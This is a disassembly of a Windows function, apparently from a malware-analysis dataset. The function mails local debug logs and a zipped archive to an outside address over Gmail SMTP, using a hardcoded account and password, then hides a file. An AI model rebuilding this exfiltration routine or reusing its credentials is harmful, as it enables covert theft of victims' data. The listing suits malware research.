Function at 0x140005900
Capabilities:
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
xor r15d, r15d
call fcn.140004eb0
call fcn.140005130
lea rcx, [0x140084d28]
call fcn.14000f600
lea r12d, [r15 + 2]
test rax, rax
jne 0x140005972
mov rax, qword [0x140084d20]
movsxd rcx, dword [rax + 4]
lea rdx, [0x140084d20]
mov eax, 6
cmp qword [rcx + rdx + 0x48], r15
cmovne eax, r12d
or eax, dword [rcx + rdx + 0x10]
and eax, 0x17
mov dword [rcx + rdx + 0x10], eax
mov edx, dword [rcx + rdx + 0x14]
and edx, eax
jne 0x140005fb4
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rdi, rax
test rax, rax
je 0x140005f4e
lea r8, str.hackmedaddy.hackme_gmail.com
mov edx, 0x27bd
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, str.oyhg_tsnu_xjhg_zapl
mov edx, 0x27be
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, str.smtp:__smtp.gmail.com:587
mov edx, 0x2712
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x77
lea r8d, [rdx - 0x74]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, str._hackmedaddy.hackme_gmail.com_
mov edx, 0x27ca
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea rdx, str._tiffii456_tutanota.com_
xor ecx, ecx
call qword [sym.imp.libcurl.dll_curl_slist_append]
lea rdx, str._tiffii456_tutanota.com_
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_slist_append]
mov r14, rax
mov r8, rax
mov edx, 0x27cb
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_mime_init]
mov rsi, rax
mov rcx, rax
cmp byte [0x140084d10], r15b
je 0x140005c93
call qword [sym.imp.libcurl.dll_curl_mime_addpart]
mov rbx, rax
mov r8, 0xffffffffffffffff
lea rdx, str.Dev_debug_is_alive
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_mime_data]
lea rdx, str.text_plain
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_type]
lea rcx, [rbp - 0x30]
call fcn.140004550
nop
mov r8d, 0xe
lea rdx, str.dev_debug.log
mov rcx, rax
call fcn.140016220
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
lea rcx, [rbp - 0x50]
call fcn.140005090
movzx ebx, al
lea rdx, str.Old_log_exist_and_not_empty:
lea rcx, [0x1400866b0]
call fcn.140012e20
mov rcx, rax
movzx edx, bl
call fcn.14000be40
mov rcx, rax
call fcn.1400130d0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140005b29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006005
call fcn.14003b660
movdqa xmm0, xmmword [0x140077f50]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r15w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140005b7b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000600b
call fcn.14003b660
lea rcx, [rbp - 0x30]
call fcn.140004550
nop
mov r8d, socket
lea rdx, str.dev_debug_old_.log
mov rcx, rax
call fcn.140016220
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
lea rcx, [rbp - 0x50]
call fcn.140005090
movzx ebx, al
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140005c14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006011
call fcn.14003b660
movdqa xmm0, xmmword [0x140077f50]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r15w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140005c66
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006017
call fcn.14003b660
test bl, bl
je 0x140005ea0
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_mime_addpart]
lea rdx, [0x140077420]
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_mime_filedata]
lea rdx, str.LOG_ADDED
jmp 0x140005e8c
call qword [sym.imp.libcurl.dll_curl_mime_addpart]
mov rbx, rax
mov r8, 0xffffffffffffffff
lea rdx, str.New_Dev_Debug_Log
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_mime_data]
lea rdx, str.text_plain
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_type]
lea rcx, [rbp - 0x30]
call fcn.140004550
nop
mov r8d, 0xe
lea rdx, str.dev_debug.log
mov rcx, rax
call fcn.140016220
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
lea rcx, [rbp - 0x50]
call fcn.140005090
movzx ebx, al
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140005d5c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000601d
call fcn.14003b660
movdqa xmm0, xmmword [0x140077f50]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r15w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140005dae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005da9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005fae
call fcn.14003b660
test bl, bl
je 0x140005dcb
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_mime_addpart]
lea rdx, [0x140077360]
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_mime_filedata]
lea rdx, [0x1400774e8]
lea rcx, str.archive.zip
call fcn.140042290
test rax, rax
je 0x140005def
mov rcx, rax
call fcn.140044fc8
mov bl, 1
jmp 0x140005df1
xor bl, bl
lea rdx, str.Zip_exist
lea rcx, [0x1400866b0]
call fcn.140012e20
mov rcx, rax
movzx edx, bl
call fcn.14000be40
mov rcx, rax
call fcn.1400130d0
lea rdx, [0x1400774e8]
lea rcx, str.archive.zip
call fcn.140042290
test rax, rax
je 0x140005e85
mov rcx, rax
call fcn.140044fc8
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_mime_addpart]
mov rbx, rax
lea rdx, str.archive.zip
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_mime_name]
lea rdx, str.application_zip
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_type]
lea rdx, str.base64
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_encoder]
lea rdx, str.archive.zip
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_filedata]
jmp 0x140005ea0
lea rdx, str.no_zip_sweethearth
lea rcx, [0x1400866b0]
call fcn.140012e20
mov rcx, rax
call fcn.1400130d0
mov r8, rsi
mov edx, 0x281d
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x29
lea r8d, [rdx - 0x28]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x29
lea r8d, [rdx - 0x28]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov ebx, eax
mov rcx, r14
call qword [sym.imp.libcurl.dll_curl_slist_free_all]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_mime_free]
test ebx, ebx
je 0x140005f4e
mov ecx, ebx
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov rbx, rax
mov ecx, r12d
call fcn.1400423bc
mov rcx, rax
mov r8, rbx
lea rdx, str.curl_easy_perform___failed:__s_n
call fcn.1400025f0
call fcn.140004900
lea rcx, [0x140077458]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
jne 0x140005f95
or eax, 2
mov edx, eax
lea rcx, [0x140077458]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x140005f95
call fcn.140004a30
call fcn.140004900
call fcn.140004eb0
lea rcx, [0x140077458]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
jne 0x140005f80
or eax, 2
mov edx, eax
lea rcx, [0x140077458]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [0x140084d10], 0
je 0x140005f95
mov byte [0x140084d10], 0
call fcn.140004cb0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.14004aff0
int3
test dl, 4
je 0x140005fc2
lea rbx, str.ios_base::badbit_set
jmp 0x140005fd7
test r12b, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x50]
call fcn.140002a50
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140003fe0
lea rdx, [0x140081dc0]
lea rcx, [rbp - 0x30]
call fcn.14003d4c4
nop
call fcn.14004aff0
nop
call fcn.14004aff0
nop
call fcn.14004aff0
nop
call fcn.14004aff0
nop
call fcn.14004aff0
int3